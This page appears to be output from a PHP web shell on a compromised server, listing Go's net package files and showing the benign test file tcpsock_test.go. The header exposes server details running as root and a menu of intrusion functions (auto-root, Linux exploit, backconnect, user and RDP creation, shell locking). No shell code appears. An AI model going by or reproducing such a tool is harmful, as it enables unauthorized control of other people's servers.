Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
http
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
rpc
[ DIR ]
drwxr-xr-x
smtp
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
textproto
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
addrselect.go
9.51
KB
-rw-r--r--
addrselect_test.go
6.2
KB
-rw-r--r--
cgo_aix.go
578
B
-rw-r--r--
cgo_android.go
268
B
-rw-r--r--
cgo_bsd.go
348
B
-rw-r--r--
cgo_linux.go
635
B
-rw-r--r--
cgo_netbsd.go
272
B
-rw-r--r--
cgo_openbsd.go
272
B
-rw-r--r--
cgo_resnew.go
577
B
-rw-r--r--
cgo_resold.go
571
B
-rw-r--r--
cgo_socknew.go
748
B
-rw-r--r--
cgo_sockold.go
838
B
-rw-r--r--
cgo_solaris.go
339
B
-rw-r--r--
cgo_stub.go
1.06
KB
-rw-r--r--
cgo_unix.go
9.53
KB
-rw-r--r--
cgo_unix_test.go
1.89
KB
-rw-r--r--
cgo_windows.go
398
B
-rw-r--r--
conf.go
8.88
KB
-rw-r--r--
conf_netcgo.go
369
B
-rw-r--r--
conf_test.go
9.59
KB
-rw-r--r--
conn_test.go
1.77
KB
-rw-r--r--
dial.go
22.44
KB
-rw-r--r--
dial_test.go
27
KB
-rw-r--r--
dial_unix_test.go
2.74
KB
-rw-r--r--
dnsclient.go
5.34
KB
-rw-r--r--
dnsclient_test.go
1.54
KB
-rw-r--r--
dnsclient_unix.go
21.86
KB
-rw-r--r--
dnsclient_unix_test.go
45.17
KB
-rw-r--r--
dnsconfig_unix.go
5.47
KB
-rw-r--r--
dnsconfig_unix_test.go
6.73
KB
-rw-r--r--
dnsname_test.go
1.98
KB
-rw-r--r--
error_plan9.go
224
B
-rw-r--r--
error_plan9_test.go
398
B
-rw-r--r--
error_posix.go
583
B
-rw-r--r--
error_posix_test.go
980
B
-rw-r--r--
error_test.go
19.39
KB
-rw-r--r--
error_unix.go
421
B
-rw-r--r--
error_unix_test.go
672
B
-rw-r--r--
error_windows.go
355
B
-rw-r--r--
error_windows_test.go
483
B
-rw-r--r--
example_test.go
3.16
KB
-rw-r--r--
external_test.go
4.07
KB
-rw-r--r--
fd_plan9.go
3.56
KB
-rw-r--r--
fd_unix.go
7.36
KB
-rw-r--r--
fd_windows.go
6.49
KB
-rw-r--r--
file.go
1.69
KB
-rw-r--r--
file_plan9.go
2.68
KB
-rw-r--r--
file_stub.go
485
B
-rw-r--r--
file_test.go
6.53
KB
-rw-r--r--
file_unix.go
2.51
KB
-rw-r--r--
file_windows.go
521
B
-rw-r--r--
hook.go
628
B
-rw-r--r--
hook_plan9.go
283
B
-rw-r--r--
hook_unix.go
734
B
-rw-r--r--
hook_windows.go
875
B
-rw-r--r--
hosts.go
3.1
KB
-rw-r--r--
hosts_test.go
4.65
KB
-rw-r--r--
interface.go
7.14
KB
-rw-r--r--
interface_aix.go
4.41
KB
-rw-r--r--
interface_bsd.go
2.74
KB
-rw-r--r--
interface_bsd_test.go
1.42
KB
-rw-r--r--
interface_bsdvar.go
711
B
-rw-r--r--
interface_darwin.go
1.29
KB
-rw-r--r--
interface_freebsd.go
1.42
KB
-rw-r--r--
interface_linux.go
6.9
KB
-rw-r--r--
interface_linux_test.go
3.65
KB
-rw-r--r--
interface_plan9.go
4.59
KB
-rw-r--r--
interface_solaris.go
2.46
KB
-rw-r--r--
interface_stub.go
808
B
-rw-r--r--
interface_test.go
9.67
KB
-rw-r--r--
interface_unix_test.go
4.69
KB
-rw-r--r--
interface_windows.go
5.41
KB
-rw-r--r--
ip.go
16.61
KB
-rw-r--r--
ip_test.go
23.96
KB
-rw-r--r--
iprawsock.go
7.08
KB
-rw-r--r--
iprawsock_plan9.go
874
B
-rw-r--r--
iprawsock_posix.go
3.45
KB
-rw-r--r--
iprawsock_test.go
5.62
KB
-rw-r--r--
ipsock.go
8.77
KB
-rw-r--r--
ipsock_plan9.go
6.25
KB
-rw-r--r--
ipsock_posix.go
6.16
KB
-rw-r--r--
ipsock_test.go
6.81
KB
-rw-r--r--
listen_test.go
21.32
KB
-rw-r--r--
lookup.go
15.45
KB
-rw-r--r--
lookup_fake.go
1.64
KB
-rw-r--r--
lookup_plan9.go
7.68
KB
-rw-r--r--
lookup_test.go
29.14
KB
-rw-r--r--
lookup_unix.go
8.78
KB
-rw-r--r--
lookup_windows.go
11.74
KB
-rw-r--r--
lookup_windows_test.go
8
KB
-rw-r--r--
mac.go
1.88
KB
-rw-r--r--
mac_test.go
3.26
KB
-rw-r--r--
main_cloexec_test.go
669
B
-rw-r--r--
main_conf_test.go
915
B
-rw-r--r--
main_noconf_test.go
493
B
-rw-r--r--
main_plan9_test.go
392
B
-rw-r--r--
main_posix_test.go
1.37
KB
-rw-r--r--
main_test.go
7.11
KB
-rw-r--r--
main_unix_test.go
1.24
KB
-rw-r--r--
main_windows_test.go
1.08
KB
-rw-r--r--
mockserver_test.go
11.23
KB
-rw-r--r--
net.go
20.9
KB
-rw-r--r--
net_fake.go
5.34
KB
-rw-r--r--
net_test.go
12.1
KB
-rw-r--r--
net_windows_test.go
15.94
KB
-rw-r--r--
netgo_unix_test.go
631
B
-rw-r--r--
nss.go
3.71
KB
-rw-r--r--
nss_test.go
3.33
KB
-rw-r--r--
packetconn_test.go
3.56
KB
-rw-r--r--
parse.go
7.82
KB
-rw-r--r--
parse_test.go
2.14
KB
-rw-r--r--
pipe.go
5.59
KB
-rw-r--r--
pipe_test.go
1.2
KB
-rw-r--r--
platform_test.go
4.59
KB
-rw-r--r--
port.go
1.46
KB
-rw-r--r--
port_test.go
1.34
KB
-rw-r--r--
port_unix.go
1.28
KB
-rw-r--r--
protoconn_test.go
7.22
KB
-rw-r--r--
rawconn.go
1.89
KB
-rw-r--r--
rawconn_stub_test.go
622
B
-rw-r--r--
rawconn_test.go
4.52
KB
-rw-r--r--
rawconn_unix_test.go
3.15
KB
-rw-r--r--
rawconn_windows_test.go
3.26
KB
-rw-r--r--
sendfile_linux.go
1.1
KB
-rw-r--r--
sendfile_stub.go
329
B
-rw-r--r--
sendfile_test.go
5.69
KB
-rw-r--r--
sendfile_unix_alt.go
1.98
KB
-rw-r--r--
sendfile_windows.go
1.02
KB
-rw-r--r--
server_test.go
11.55
KB
-rw-r--r--
sock_bsd.go
898
B
-rw-r--r--
sock_cloexec.go
1.46
KB
-rw-r--r--
sock_linux.go
644
B
-rw-r--r--
sock_plan9.go
262
B
-rw-r--r--
sock_posix.go
6.83
KB
-rw-r--r--
sock_stub.go
378
B
-rw-r--r--
sock_windows.go
1.16
KB
-rw-r--r--
sockaddr_posix.go
955
B
-rw-r--r--
sockopt_aix.go
1.32
KB
-rw-r--r--
sockopt_bsd.go
2.09
KB
-rw-r--r--
sockopt_linux.go
1.14
KB
-rw-r--r--
sockopt_plan9.go
406
B
-rw-r--r--
sockopt_posix.go
2.67
KB
-rw-r--r--
sockopt_solaris.go
1.14
KB
-rw-r--r--
sockopt_stub.go
738
B
-rw-r--r--
sockopt_windows.go
1.34
KB
-rw-r--r--
sockoptip_bsdvar.go
848
B
-rw-r--r--
sockoptip_linux.go
735
B
-rw-r--r--
sockoptip_posix.go
1.43
KB
-rw-r--r--
sockoptip_stub.go
949
B
-rw-r--r--
sockoptip_windows.go
819
B
-rw-r--r--
splice_linux.go
1.09
KB
-rw-r--r--
splice_stub.go
286
B
-rw-r--r--
splice_test.go
10.51
KB
-rw-r--r--
sys_cloexec.go
977
B
-rw-r--r--
tcpsock.go
9.85
KB
-rw-r--r--
tcpsock_plan9.go
2.13
KB
-rw-r--r--
tcpsock_posix.go
5.27
KB
-rw-r--r--
tcpsock_test.go
17.51
KB
-rw-r--r--
tcpsock_unix_test.go
2.38
KB
-rw-r--r--
tcpsockopt_darwin.go
770
B
-rw-r--r--
tcpsockopt_dragonfly.go
698
B
-rw-r--r--
tcpsockopt_openbsd.go
365
B
-rw-r--r--
tcpsockopt_plan9.go
503
B
-rw-r--r--
tcpsockopt_posix.go
491
B
-rw-r--r--
tcpsockopt_solaris.go
1.15
KB
-rw-r--r--
tcpsockopt_stub.go
393
B
-rw-r--r--
tcpsockopt_unix.go
712
B
-rw-r--r--
tcpsockopt_windows.go
741
B
-rw-r--r--
timeout_test.go
23.18
KB
-rw-r--r--
udpsock.go
8.7
KB
-rw-r--r--
udpsock_plan9.go
3.77
KB
-rw-r--r--
udpsock_plan9_test.go
1.31
KB
-rw-r--r--
udpsock_posix.go
4.09
KB
-rw-r--r--
udpsock_test.go
11.18
KB
-rw-r--r--
unixsock.go
10.17
KB
-rw-r--r--
unixsock_linux_test.go
2.29
KB
-rw-r--r--
unixsock_plan9.go
1.24
KB
-rw-r--r--
unixsock_posix.go
5.81
KB
-rw-r--r--
unixsock_test.go
10.58
KB
-rw-r--r--
unixsock_windows_test.go
2.07
KB
-rw-r--r--
write_unix_test.go
1.59
KB
-rw-r--r--
writev_test.go
5.01
KB
-rw-r--r--
writev_unix.go
706
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tcpsock_test.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build !js package net import ( "fmt" "internal/testenv" "io" "os" "reflect" "runtime" "sync" "testing" "time" ) func BenchmarkTCP4OneShot(b *testing.B) { benchmarkTCP(b, false, false, "127.0.0.1:0") } func BenchmarkTCP4OneShotTimeout(b *testing.B) { benchmarkTCP(b, false, true, "127.0.0.1:0") } func BenchmarkTCP4Persistent(b *testing.B) { benchmarkTCP(b, true, false, "127.0.0.1:0") } func BenchmarkTCP4PersistentTimeout(b *testing.B) { benchmarkTCP(b, true, true, "127.0.0.1:0") } func BenchmarkTCP6OneShot(b *testing.B) { if !supportsIPv6() { b.Skip("ipv6 is not supported") } benchmarkTCP(b, false, false, "[::1]:0") } func BenchmarkTCP6OneShotTimeout(b *testing.B) { if !supportsIPv6() { b.Skip("ipv6 is not supported") } benchmarkTCP(b, false, true, "[::1]:0") } func BenchmarkTCP6Persistent(b *testing.B) { if !supportsIPv6() { b.Skip("ipv6 is not supported") } benchmarkTCP(b, true, false, "[::1]:0") } func BenchmarkTCP6PersistentTimeout(b *testing.B) { if !supportsIPv6() { b.Skip("ipv6 is not supported") } benchmarkTCP(b, true, true, "[::1]:0") } func benchmarkTCP(b *testing.B, persistent, timeout bool, laddr string) { testHookUninstaller.Do(uninstallTestHooks) const msgLen = 512 conns := b.N numConcurrent := runtime.GOMAXPROCS(-1) * 2 msgs := 1 if persistent { conns = numConcurrent msgs = b.N / conns if msgs == 0 { msgs = 1 } if conns > b.N { conns = b.N } } sendMsg := func(c Conn, buf []byte) bool { n, err := c.Write(buf) if n != len(buf) || err != nil { b.Log(err) return false } return true } recvMsg := func(c Conn, buf []byte) bool { for read := 0; read != len(buf); { n, err := c.Read(buf) read += n if err != nil { b.Log(err) return false } } return true } ln, err := Listen("tcp", laddr) if err != nil { b.Fatal(err) } defer ln.Close() serverSem := make(chan bool, numConcurrent) // Acceptor. go func() { for { c, err := ln.Accept() if err != nil { break } serverSem <- true // Server connection. go func(c Conn) { defer func() { c.Close() <-serverSem }() if timeout { c.SetDeadline(time.Now().Add(time.Hour)) // Not intended to fire. } var buf [msgLen]byte for m := 0; m < msgs; m++ { if !recvMsg(c, buf[:]) || !sendMsg(c, buf[:]) { break } } }(c) } }() clientSem := make(chan bool, numConcurrent) for i := 0; i < conns; i++ { clientSem <- true // Client connection. go func() { defer func() { <-clientSem }() c, err := Dial("tcp", ln.Addr().String()) if err != nil { b.Log(err) return } defer c.Close() if timeout { c.SetDeadline(time.Now().Add(time.Hour)) // Not intended to fire. } var buf [msgLen]byte for m := 0; m < msgs; m++ { if !sendMsg(c, buf[:]) || !recvMsg(c, buf[:]) { break } } }() } for i := 0; i < numConcurrent; i++ { clientSem <- true serverSem <- true } } func BenchmarkTCP4ConcurrentReadWrite(b *testing.B) { benchmarkTCPConcurrentReadWrite(b, "127.0.0.1:0") } func BenchmarkTCP6ConcurrentReadWrite(b *testing.B) { if !supportsIPv6() { b.Skip("ipv6 is not supported") } benchmarkTCPConcurrentReadWrite(b, "[::1]:0") } func benchmarkTCPConcurrentReadWrite(b *testing.B, laddr string) { testHookUninstaller.Do(uninstallTestHooks) // The benchmark creates GOMAXPROCS client/server pairs. // Each pair creates 4 goroutines: client reader/writer and server reader/writer. // The benchmark stresses concurrent reading and writing to the same connection. // Such pattern is used in net/http and net/rpc. b.StopTimer() P := runtime.GOMAXPROCS(0) N := b.N / P W := 1000 // Setup P client/server connections. clients := make([]Conn, P) servers := make([]Conn, P) ln, err := Listen("tcp", laddr) if err != nil { b.Fatal(err) } defer ln.Close() done := make(chan bool) go func() { for p := 0; p < P; p++ { s, err := ln.Accept() if err != nil { b.Error(err) return } servers[p] = s } done <- true }() for p := 0; p < P; p++ { c, err := Dial("tcp", ln.Addr().String()) if err != nil { b.Fatal(err) } clients[p] = c } <-done b.StartTimer() var wg sync.WaitGroup wg.Add(4 * P) for p := 0; p < P; p++ { // Client writer. go func(c Conn) { defer wg.Done() var buf [1]byte for i := 0; i < N; i++ { v := byte(i) for w := 0; w < W; w++ { v *= v } buf[0] = v _, err := c.Write(buf[:]) if err != nil { b.Error(err) return } } }(clients[p]) // Pipe between server reader and server writer. pipe := make(chan byte, 128) // Server reader. go func(s Conn) { defer wg.Done() var buf [1]byte for i := 0; i < N; i++ { _, err := s.Read(buf[:]) if err != nil { b.Error(err) return } pipe <- buf[0] } }(servers[p]) // Server writer. go func(s Conn) { defer wg.Done() var buf [1]byte for i := 0; i < N; i++ { v := <-pipe for w := 0; w < W; w++ { v *= v } buf[0] = v _, err := s.Write(buf[:]) if err != nil { b.Error(err) return } } s.Close() }(servers[p]) // Client reader. go func(c Conn) { defer wg.Done() var buf [1]byte for i := 0; i < N; i++ { _, err := c.Read(buf[:]) if err != nil { b.Error(err) return } } c.Close() }(clients[p]) } wg.Wait() } type resolveTCPAddrTest struct { network string litAddrOrName string addr *TCPAddr err error } var resolveTCPAddrTests = []resolveTCPAddrTest{ {"tcp", "127.0.0.1:0", &TCPAddr{IP: IPv4(127, 0, 0, 1), Port: 0}, nil}, {"tcp4", "127.0.0.1:65535", &TCPAddr{IP: IPv4(127, 0, 0, 1), Port: 65535}, nil}, {"tcp", "[::1]:0", &TCPAddr{IP: ParseIP("::1"), Port: 0}, nil}, {"tcp6", "[::1]:65535", &TCPAddr{IP: ParseIP("::1"), Port: 65535}, nil}, {"tcp", "[::1%en0]:1", &TCPAddr{IP: ParseIP("::1"), Port: 1, Zone: "en0"}, nil}, {"tcp6", "[::1%911]:2", &TCPAddr{IP: ParseIP("::1"), Port: 2, Zone: "911"}, nil}, {"", "127.0.0.1:0", &TCPAddr{IP: IPv4(127, 0, 0, 1), Port: 0}, nil}, // Go 1.0 behavior {"", "[::1]:0", &TCPAddr{IP: ParseIP("::1"), Port: 0}, nil}, // Go 1.0 behavior {"tcp", ":12345", &TCPAddr{Port: 12345}, nil}, {"http", "127.0.0.1:0", nil, UnknownNetworkError("http")}, {"tcp", "127.0.0.1:http", &TCPAddr{IP: ParseIP("127.0.0.1"), Port: 80}, nil}, {"tcp", "[::ffff:127.0.0.1]:http", &TCPAddr{IP: ParseIP("::ffff:127.0.0.1"), Port: 80}, nil}, {"tcp", "[2001:db8::1]:http", &TCPAddr{IP: ParseIP("2001:db8::1"), Port: 80}, nil}, {"tcp4", "127.0.0.1:http", &TCPAddr{IP: ParseIP("127.0.0.1"), Port: 80}, nil}, {"tcp4", "[::ffff:127.0.0.1]:http", &TCPAddr{IP: ParseIP("127.0.0.1"), Port: 80}, nil}, {"tcp6", "[2001:db8::1]:http", &TCPAddr{IP: ParseIP("2001:db8::1"), Port: 80}, nil}, {"tcp4", "[2001:db8::1]:http", nil, &AddrError{Err: errNoSuitableAddress.Error(), Addr: "2001:db8::1"}}, {"tcp6", "127.0.0.1:http", nil, &AddrError{Err: errNoSuitableAddress.Error(), Addr: "127.0.0.1"}}, {"tcp6", "[::ffff:127.0.0.1]:http", nil, &AddrError{Err: errNoSuitableAddress.Error(), Addr: "::ffff:127.0.0.1"}}, } func TestResolveTCPAddr(t *testing.T) { origTestHookLookupIP := testHookLookupIP defer func() { testHookLookupIP = origTestHookLookupIP }() testHookLookupIP = lookupLocalhost for _, tt := range resolveTCPAddrTests { addr, err := ResolveTCPAddr(tt.network, tt.litAddrOrName) if !reflect.DeepEqual(addr, tt.addr) || !reflect.DeepEqual(err, tt.err) { t.Errorf("ResolveTCPAddr(%q, %q) = %#v, %v, want %#v, %v", tt.network, tt.litAddrOrName, addr, err, tt.addr, tt.err) continue } if err == nil { addr2, err := ResolveTCPAddr(addr.Network(), addr.String()) if !reflect.DeepEqual(addr2, tt.addr) || err != tt.err { t.Errorf("(%q, %q): ResolveTCPAddr(%q, %q) = %#v, %v, want %#v, %v", tt.network, tt.litAddrOrName, addr.Network(), addr.String(), addr2, err, tt.addr, tt.err) } } } } var tcpListenerNameTests = []struct { net string laddr *TCPAddr }{ {"tcp4", &TCPAddr{IP: IPv4(127, 0, 0, 1)}}, {"tcp4", &TCPAddr{}}, {"tcp4", nil}, } func TestTCPListenerName(t *testing.T) { testenv.MustHaveExternalNetwork(t) for _, tt := range tcpListenerNameTests { ln, err := ListenTCP(tt.net, tt.laddr) if err != nil { t.Fatal(err) } defer ln.Close() la := ln.Addr() if a, ok := la.(*TCPAddr); !ok || a.Port == 0 { t.Fatalf("got %v; expected a proper address with non-zero port number", la) } } } func TestIPv6LinkLocalUnicastTCP(t *testing.T) { testenv.MustHaveExternalNetwork(t) if !supportsIPv6() { t.Skip("IPv6 is not supported") } for i, tt := range ipv6LinkLocalUnicastTCPTests { ln, err := Listen(tt.network, tt.address) if err != nil { // It might return "LookupHost returned no // suitable address" error on some platforms. t.Log(err) continue } ls, err := (&streamListener{Listener: ln}).newLocalServer() if err != nil { t.Fatal(err) } defer ls.teardown() ch := make(chan error, 1) handler := func(ls *localServer, ln Listener) { transponder(ln, ch) } if err := ls.buildup(handler); err != nil { t.Fatal(err) } if la, ok := ln.Addr().(*TCPAddr); !ok || !tt.nameLookup && la.Zone == "" { t.Fatalf("got %v; expected a proper address with zone identifier", la) } c, err := Dial(tt.network, ls.Listener.Addr().String()) if err != nil { t.Fatal(err) } defer c.Close() if la, ok := c.LocalAddr().(*TCPAddr); !ok || !tt.nameLookup && la.Zone == "" { t.Fatalf("got %v; expected a proper address with zone identifier", la) } if ra, ok := c.RemoteAddr().(*TCPAddr); !ok || !tt.nameLookup && ra.Zone == "" { t.Fatalf("got %v; expected a proper address with zone identifier", ra) } if _, err := c.Write([]byte("TCP OVER IPV6 LINKLOCAL TEST")); err != nil { t.Fatal(err) } b := make([]byte, 32) if _, err := c.Read(b); err != nil { t.Fatal(err) } for err := range ch { t.Errorf("#%d: %v", i, err) } } } func TestTCPConcurrentAccept(t *testing.T) { defer runtime.GOMAXPROCS(runtime.GOMAXPROCS(4)) ln, err := Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatal(err) } const N = 10 var wg sync.WaitGroup wg.Add(N) for i := 0; i < N; i++ { go func() { for { c, err := ln.Accept() if err != nil { break } c.Close() } wg.Done() }() } attempts := 10 * N fails := 0 d := &Dialer{Timeout: 200 * time.Millisecond} for i := 0; i < attempts; i++ { c, err := d.Dial("tcp", ln.Addr().String()) if err != nil { fails++ } else { c.Close() } } ln.Close() wg.Wait() if fails > attempts/9 { // see issues 7400 and 7541 t.Fatalf("too many Dial failed: %v", fails) } if fails > 0 { t.Logf("# of failed Dials: %v", fails) } } func TestTCPReadWriteAllocs(t *testing.T) { switch runtime.GOOS { case "plan9": // The implementation of asynchronous cancelable // I/O on Plan 9 allocates memory. // See net/fd_io_plan9.go. t.Skipf("not supported on %s", runtime.GOOS) } ln, err := Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatal(err) } defer ln.Close() var server Conn errc := make(chan error, 1) go func() { var err error server, err = ln.Accept() errc <- err }() client, err := Dial("tcp", ln.Addr().String()) if err != nil { t.Fatal(err) } defer client.Close() if err := <-errc; err != nil { t.Fatal(err) } defer server.Close() var buf [128]byte allocs := testing.AllocsPerRun(1000, func() { _, err := server.Write(buf[:]) if err != nil { t.Fatal(err) } _, err = io.ReadFull(client, buf[:]) if err != nil { t.Fatal(err) } }) if allocs > 0 { t.Fatalf("got %v; want 0", allocs) } var bufwrt [128]byte ch := make(chan bool) defer close(ch) go func() { for <-ch { _, err := server.Write(bufwrt[:]) errc <- err } }() allocs = testing.AllocsPerRun(1000, func() { ch <- true if _, err = io.ReadFull(client, buf[:]); err != nil { t.Fatal(err) } if err := <-errc; err != nil { t.Fatal(err) } }) if allocs > 0 { t.Fatalf("got %v; want 0", allocs) } } func TestTCPStress(t *testing.T) { const conns = 2 const msgLen = 512 msgs := int(1e4) if testing.Short() { msgs = 1e2 } sendMsg := func(c Conn, buf []byte) bool { n, err := c.Write(buf) if n != len(buf) || err != nil { t.Log(err) return false } return true } recvMsg := func(c Conn, buf []byte) bool { for read := 0; read != len(buf); { n, err := c.Read(buf) read += n if err != nil { t.Log(err) return false } } return true } ln, err := Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatal(err) } done := make(chan bool) // Acceptor. go func() { defer func() { done <- true }() for { c, err := ln.Accept() if err != nil { break } // Server connection. go func(c Conn) { defer c.Close() var buf [msgLen]byte for m := 0; m < msgs; m++ { if !recvMsg(c, buf[:]) || !sendMsg(c, buf[:]) { break } } }(c) } }() for i := 0; i < conns; i++ { // Client connection. go func() { defer func() { done <- true }() c, err := Dial("tcp", ln.Addr().String()) if err != nil { t.Log(err) return } defer c.Close() var buf [msgLen]byte for m := 0; m < msgs; m++ { if !sendMsg(c, buf[:]) || !recvMsg(c, buf[:]) { break } } }() } for i := 0; i < conns; i++ { <-done } ln.Close() <-done } func TestTCPSelfConnect(t *testing.T) { if runtime.GOOS == "windows" { // TODO(brainman): do not know why it hangs. t.Skip("known-broken test on windows") } ln, err := newLocalListener("tcp") if err != nil { t.Fatal(err) } var d Dialer c, err := d.Dial(ln.Addr().Network(), ln.Addr().String()) if err != nil { ln.Close() t.Fatal(err) } network := c.LocalAddr().Network() laddr := *c.LocalAddr().(*TCPAddr) c.Close() ln.Close() // Try to connect to that address repeatedly. n := 100000 if testing.Short() { n = 1000 } switch runtime.GOOS { case "darwin", "dragonfly", "freebsd", "netbsd", "openbsd", "plan9", "illumos", "solaris", "windows": // Non-Linux systems take a long time to figure // out that there is nothing listening on localhost. n = 100 } for i := 0; i < n; i++ { d.Timeout = time.Millisecond c, err := d.Dial(network, laddr.String()) if err == nil { addr := c.LocalAddr().(*TCPAddr) if addr.Port == laddr.Port || addr.IP.Equal(laddr.IP) { t.Errorf("Dial %v should fail", addr) } else { t.Logf("Dial %v succeeded - possibly racing with other listener", addr) } c.Close() } } } // Test that >32-bit reads work on 64-bit systems. // On 32-bit systems this tests that maxint reads work. func TestTCPBig(t *testing.T) { if !*testTCPBig { t.Skip("test disabled; use -tcpbig to enable") } for _, writev := range []bool{false, true} { t.Run(fmt.Sprintf("writev=%v", writev), func(t *testing.T) { ln, err := newLocalListener("tcp") if err != nil { t.Fatal(err) } defer ln.Close() x := int(1 << 30) x = x*5 + 1<<20 // just over 5 GB on 64-bit, just over 1GB on 32-bit done := make(chan int) go func() { defer close(done) c, err := ln.Accept() if err != nil { t.Error(err) return } buf := make([]byte, x) var n int if writev { var n64 int64 n64, err = (&Buffers{buf}).WriteTo(c) n = int(n64) } else { n, err = c.Write(buf) } if n != len(buf) || err != nil { t.Errorf("Write(buf) = %d, %v, want %d, nil", n, err, x) } c.Close() }() c, err := Dial("tcp", ln.Addr().String()) if err != nil { t.Fatal(err) } buf := make([]byte, x) n, err := io.ReadFull(c, buf) if n != len(buf) || err != nil { t.Errorf("Read(buf) = %d, %v, want %d, nil", n, err, x) } c.Close() <-done }) } } func TestCopyPipeIntoTCP(t *testing.T) { ln, err := newLocalListener("tcp") if err != nil { t.Fatal(err) } defer ln.Close() errc := make(chan error, 1) defer func() { if err := <-errc; err != nil { t.Error(err) } }() go func() { c, err := ln.Accept() if err != nil { errc <- err return } defer c.Close() buf := make([]byte, 100) n, err := io.ReadFull(c, buf) if err != io.ErrUnexpectedEOF || n != 2 { errc <- fmt.Errorf("got err=%q n=%v; want err=%q n=2", err, n, io.ErrUnexpectedEOF) return } errc <- nil }() c, err := Dial("tcp", ln.Addr().String()) if err != nil { t.Fatal(err) } defer c.Close() r, w, err := os.Pipe() if err != nil { t.Fatal(err) } defer r.Close() errc2 := make(chan error, 1) defer func() { if err := <-errc2; err != nil { t.Error(err) } }() defer w.Close() go func() { _, err := io.Copy(c, r) errc2 <- err }() // Split write into 2 packets. That makes Windows TransmitFile // drop second packet. packet := make([]byte, 1) _, err = w.Write(packet) if err != nil { t.Fatal(err) } time.Sleep(100 * time.Millisecond) _, err = w.Write(packet) if err != nil { t.Fatal(err) } } func BenchmarkSetReadDeadline(b *testing.B) { ln, err := newLocalListener("tcp") if err != nil { b.Fatal(err) } defer ln.Close() var serv Conn done := make(chan error) go func() { var err error serv, err = ln.Accept() done <- err }() c, err := Dial("tcp", ln.Addr().String()) if err != nil { b.Fatal(err) } defer c.Close() if err := <-done; err != nil { b.Fatal(err) } defer serv.Close() c.SetWriteDeadline(time.Now().Add(2 * time.Hour)) deadline := time.Now().Add(time.Hour) b.ResetTimer() for i := 0; i < b.N; i++ { c.SetReadDeadline(deadline) deadline = deadline.Add(1) } }
Close